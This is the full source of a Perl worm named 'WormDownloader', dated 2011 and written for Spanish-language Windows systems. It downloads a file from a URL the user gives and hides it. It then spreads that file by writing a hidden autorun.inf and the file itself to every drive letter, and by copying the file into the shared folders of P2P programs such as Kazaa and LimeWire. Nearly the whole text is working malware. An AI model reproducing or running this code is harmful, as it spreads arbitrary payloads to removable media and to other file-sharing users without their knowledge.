#!usr/bin/perl#WormDownloader 0.3#Coded By Doddy Huse Win32::File;use Cwd;use LWP::UserAgent;my $nave = LWP::UserAgent->new;$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");$nave->timeout(5);my @rutas = ("C:\\Archivos de programa\\KMD\\My Shared Folder","C:\\Archivos de programa\\Kazaa\\My Shared Folder\\","C:\\Archivos de programa\\KaZaA Lite\\My Shared Folder\\","C:\\Archivos de programa\\Morpheus\\My Shared Folder\\","C:\Archivos de programa\\Grokster\\My Grokster\\","C:\\Archivos de programa\\BearShare\\Shared\\","C:\\Archivos de programa\\Edonkey2000\\Incoming\\","C:\\Archivos de programa\\limewire\\Shared\\","C:\\Documents and Settings\\Administrador\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\");head();print "\n\n[+] File to download : ";chomp(my $down = <stdin>);print "\n[+] Name to save : ";chomp(my $name= <stdin>);print "\n[+] Downloading...\n";if (download($down,$name)) {hideit($name,"hide");print "\n[+] Propagation routine starting\n";wormear($down,$name);} else {print "\n[-] Error downloading\n";}print "\n\n[+] Finished\n\n";copyright();<stdin>;sub wormear {my($filedown,$name) = @_;my $exe = getcwd()."/".$name;open (AUTORUN,">>autorun.inf");print AUTORUN "[AutoRun]\n";print AUTORUN "open = $exe\n";print AUTORUN "shellexecute=$exe\n";print AUTORUN "shell\\Auto\\command=$exe\n";close AUTORUN;for my $dir(65..90) {Win32::CopyFile($name,chr($dir).":/".$name,0);Win32::CopyFile("autorun.inf",chr($dir).":/autorun.inf",0);hideit(chr($dir).":/".$name,"hide");hideit(chr($dir).":/autorun.inf","hide");}unlink("autorun.inf");for my $r(@rutas) {chomp $r;if (-d $r) {Win32::CopyFile($name,$r."/".$name,0);}}}sub hideit {if ($_[1] eq "show") {Win32::File::SetAttributes($_[0],NORMAL);}elsif ($_[1] eq "hide") {Win32::File::SetAttributes($_[0],HIDDEN);}else {#print "error\n";}}sub download {if ($nave->mirror($_[0],$_[1])) {if (-f $_[1]) {return true;}}}sub head {print "\n\n-- == WormDownloader == --\n";}sub copyright {print "\n\n(C) Doddy Hackman 2011\n\n";exit(1);}#The End ?